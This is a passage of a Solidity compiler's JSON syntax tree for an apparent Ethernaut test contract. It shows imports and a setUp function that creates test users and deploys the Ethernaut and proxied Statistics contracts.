1,"nodeType":"ImportDirective","src":"285:63:120","nodes":[],"absolutePath":"src/levels/FallbackFactory.sol","file":"src/levels/FallbackFactory.sol","nameLocation":"-1:-1:-1","scope":58856,"sourceUnit":52435,"symbolAliases":[{"foreign":{"id":58040,"name":"FallbackFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52434,"src":"293:15:120","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58043,"nodeType":"ImportDirective","src":"349:58:120","nodes":[],"absolutePath":"src/attacks/Manufactured.sol","file":"src/attacks/Manufactured.sol","nameLocation":"-1:-1:-1","scope":58856,"sourceUnit":49626,"symbolAliases":[{"foreign":{"id":58042,"name":"Manufactured","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49625,"src":"357:12:120","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58045,"nodeType":"ImportDirective","src":"409:57:120","nodes":[],"absolutePath":"src/levels/DummyFactory.sol","file":"src/levels/DummyFactory.sol","nameLocation":"-1:-1:-1","scope":58856,"sourceUnit":52146,"symbolAliases":[{"foreign":{"id":58044,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"417:12:120","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58047,"nodeType":"ImportDirective","src":"467:43:120","nodes":[],"absolutePath":"src/levels/Dummy.sol","file":"src/levels/Dummy.sol","nameLocation":"-1:-1:-1","scope":58856,"sourceUnit":52096,"symbolAliases":[{"foreign":{"id":58046,"name":"Dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52095,"src":"475:5:120","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58855,"nodeType":"ContractDefinition","src":"512:5932:120","nodes":[{"id":58052,"nodeType":"VariableDeclaration","src":"549:19:120","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"559:9:120","scope":58855,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":58051,"nodeType":"UserDefinedTypeName","pathNode":{"id":58050,"name":"Ethernaut","nameLocations":["549:9:120"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"549:9:120"},"referencedDeclaration":49101,"src":"549:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":58055,"nodeType":"VariableDeclaration","src":"574:16:120","nodes":[],"constant":false,"mutability":"mutable","name":"stats","nameLocation":"585:5:120","scope":58855,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"},"typeName":{"id":58054,"nodeType":"UserDefinedTypeName","pathNode":{"id":58053,"name":"Statistics","nameLocations":["574:10:120"],"nodeType":"IdentifierPath","referencedDeclaration":56450,"src":"574:10:120"},"referencedDeclaration":56450,"src":"574:10:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"visibility":"internal"},{"id":58058,"nodeType":"VariableDeclaration","src":"597:11:120","nodes":[],"constant":false,"mutability":"mutable","name":"utils","nameLocation":"603:5:120","scope":58855,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"},"typeName":{"id":58057,"nodeType":"UserDefinedTypeName","pathNode":{"id":58056,"name":"Utils","nameLocations":["597:5:120"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"597:5:120"},"referencedDeclaration":66673,"src":"597:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"visibility":"internal"},{"id":58060,"nodeType":"VariableDeclaration","src":"615:20:120","nodes":[],"constant":false,"mutability":"mutable","name":"user","nameLocation":"631:4:120","scope":58855,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":58059,"name":"address","nodeType":"ElementaryTypeName","src":"615:15:120","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":58062,"nodeType":"VariableDeclaration","src":"641:21:120","nodes":[],"constant":false,"mutability":"mutable","name":"user2","nameLocation":"657:5:120","scope":58855,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":58061,"name":"address","nodeType":"ElementaryTypeName","src":"641:15:120","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":58064,"nodeType":"VariableDeclaration","src":"668:21:120","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"684:5:120","scope":58855,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":58063,"name":"address","nodeType":"ElementaryTypeName","src":"668:15:120","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":58173,"nodeType":"FunctionDefinition","src":"876:557:120","nodes":[],"body":{"id":58172,"nodeType":"Block","src":"900:533:120","nodes":[],"statements":[{"expression":{"id":58072,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":58067,"name":"utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58058,"src":"910:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":58070,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"918:9:120","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Utils_$66673_$","typeString":"function () returns (contract Utils)"},"typeName":{"id":58069,"nodeType":"UserDefinedTypeName","pathNode":{"id":58068,"name":"Utils","nameLocations":["922:5:120"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"922:5:120"},"referencedDeclaration":66673,"src":"922:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}}},"id":58071,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"918:11:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"src":"910:19:120","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"id":58073,"nodeType":"ExpressionStatement","src":"910:19:120"},{"assignments":[58076],"declarations":[{"constant":false,"id":58076,"mutability":"mutable","name":"users","nameLocation":"964:5:120","nodeType":"VariableDeclaration","scope":58172,"src":"939:30:120","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":58074,"name":"address","nodeType":"ElementaryTypeName","src":"939:15:120","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58075,"nodeType":"ArrayTypeName","src":"939:17:120","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":58081,"initialValue":{"arguments":[{"hexValue":"33","id":58079,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"990:1:120","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"}],"expression":{"id":58077,"name":"utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58058,"src":"972:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"id":58078,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"978:11:120","memberName":"createUsers","nodeType":"MemberAccess","referencedDeclaration":66448,"src":"972:17:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) external returns (address payable[] memory)"}},"id":58080,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"972:20:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"939:53:120"},{"expression":{"id":58086,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":58082,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"1003:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":58083,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58076,"src":"1010:5:120","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":58085,"indexExpression":{"hexValue":"30","id":58084,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1016:1:120","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1010:8:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1003:15:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58087,"nodeType":"ExpressionStatement","src":"1003:15:120"},{"expression":{"arguments":[{"id":58091,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"1037:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"557365722031","id":58092,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1043:8:120","typeDescriptions":{"typeIdentifier":"t_stringliteral_2738d1a28a4c1bafd94b90c80e77606c783625b67484e3d107b6711266ef4062","typeString":"literal_string \"User 1\""},"value":"User 1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_2738d1a28a4c1bafd94b90c80e77606c783625b67484e3d107b6711266ef4062","typeString":"literal_string \"User 1\""}],"expression":{"id":58088,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1028:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58090,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1031:5:120","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1028:8:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":58093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1028:24:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58094,"nodeType":"ExpressionStatement","src":"1028:24:120"},{"expression":{"id":58099,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":58095,"name":"user2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58062,"src":"1063:5:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":58096,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58076,"src":"1071:5:120","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":58098,"indexExpression":{"hexValue":"31","id":58097,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1077:1:120","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1071:8:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1063:16:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58100,"nodeType":"ExpressionStatement","src":"1063:16:120"},{"expression":{"arguments":[{"id":58104,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"1098:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"557365722032","id":58105,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1104:8:120","typeDescriptions":{"typeIdentifier":"t_stringliteral_aa6d5f7abe82735798af4c2ac0bacb3fcf6dd1bd940bdf9a4694edbfb16d4873","typeString":"literal_string \"User 2\""},"value":"User 2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_aa6d5f7abe82735798af4c2ac0bacb3fcf6dd1bd940bdf9a4694edbfb16d4873","typeString":"literal_string \"User 2\""}],"expression":{"id":58101,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1089:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58103,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1092:5:120","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1089:8:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":58106,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1089:24:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58107,"nodeType":"ExpressionStatement","src":"1089:24:120"},{"expression":{"id":58112,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":58108,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58064,"src":"1124:5:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":58109,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58076,"src":"1132:5:120","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":58111,"indexExpression":{"hexValue":"32","id":58110,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1138:1:120","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1132:8:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1124:16:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58113,"nodeType":"ExpressionStatement","src":"1124:16:120"},{"expression":{"arguments":[{"id":58117,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58064,"src":"1159:5:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":58118,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1166:7:120","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":58114,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1150:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58116,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1153:5:120","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1150:8:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":58119,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1150:24:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58120,"nodeType":"ExpressionStatement","src":"1150:24:120"},{"expression":{"arguments":[{"id":58124,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58064,"src":"1199:5:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58121,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1185:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58123,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1188:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1185:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58125,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1185:20:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58126,"nodeType":"ExpressionStatement","src":"1185:20:120"},{"expression":{"id":58132,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":58127,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"1216:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":58130,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1228:13:120","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function () returns (contract Ethernaut)"},"typeName":{"id":58129,"nodeType":"UserDefinedTypeName","pathNode":{"id":58128,"name":"Ethernaut","nameLocations":["1232:9:120"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"1232:9:120"},"referencedDeclaration":49101,"src":"1232:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}}},"id":58131,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1228:15:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"1216:27:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58133,"nodeType":"ExpressionStatement","src":"1216:27:120"},{"expression":{"id":58156,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":58134,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"1254:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":58145,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1304:14:120","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Statistics_$56450_$","typeString":"function () returns (contract Statistics)"},"typeName":{"id":58144,"nodeType":"UserDefinedTypeName","pathNode":{"id":58143,"name":"Statistics","nameLocations":["1308:10:120"],"nodeType":"IdentifierPath","referencedDeclaration":56450,"src":"1308:10:120"},"referencedDeclaration":56450,"src":"1308:10:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}}},"id":58146,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1304:16:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}],"id":58142,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1296:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58141,"name":"address","nodeType":"ElementaryTypeName","src":"1296:7:120","typeDescriptions":{}}},"id":58147,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1296:25:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":58148,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58064,"src":"1323:5:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"arguments":[{"id":58151,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"1338:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}],"id":58150,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1330:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58149,"name":"address","nodeType":"ElementaryTypeName","src":"1330:7:120","typeDescriptions":{}}},"id":58152,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1330:18:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"id":58140,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1281:14:120","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$_t_address_$_t_address_$returns$_t_contract$_ProxyStats_$58028_$","typeString":"function (address,address,address) returns (contract ProxyStats)"},"typeName":{"id":58139,"nodeType":"UserDefinedTypeName","pathNode":{"id":58138,"name":"ProxyStats","nameLocations":["1285:10:120"],"nodeType":"IdentifierPath","referencedDeclaration":58028,"src":"1285:10:120"},"referencedDeclaration":58028,"src":"1285:10:120","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}}},"id":58153,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1281:68:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}],"id":58137,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1273:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58136,"name":"address","nodeType":"ElementaryTypeName","src":"1273:7:120","typeDescriptions":{}}},"id":58154,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1273:77:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58135,"name":"Statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56450,"src":"1262:10:120","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Statistics_$56450_$","typeString":"type(contract Statistics)"}},"id":58155,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1262:89:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"src":"1254:97:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":58157,"nodeType":"ExpressionStatement","src":"1254:97:120"},{"expression":{"arguments":[{"arguments":[{"id":58163,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"1394:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}],"id":58162,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1386:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58161,"name":"address","nodeType":"ElementaryTypeName","src":"1386:7:120","typeDescriptions":{}}},"id":58164,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1386:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58158,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"1362:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58160,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1372:13:120","memberName":"setStatistics","nodeType":"MemberAccess","referencedDeclaration":48927,"src":"1362:23:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58165,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1362:39:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58166,"nodeType":"ExpressionStatement","src":"1362:39:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58167,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1412:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58169,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1415:9:120","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1412:12:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58170,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1412:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58171,"nodeType":"ExpressionStatement","src":"1412:14:120"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"885:5:120","parameters":{"id":58065,"nodeType":"ParameterList","parameters":[],"src":"890:2:120"},"returnParameters":{"id":58066,"nodeType":"ParameterList","parameters":[],"src":"900:0:120"},"scope":58855,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":58244,"nodeType":"FunctionDefinition","src":"1695:538:120","nodes":[],"body":{"id":58243,"nodeType":"Block","src":"1737:496:120","nodes":[],"statements":[{"expression":{"arguments":[{"id":58180,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58064,"src":"1761:5:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address 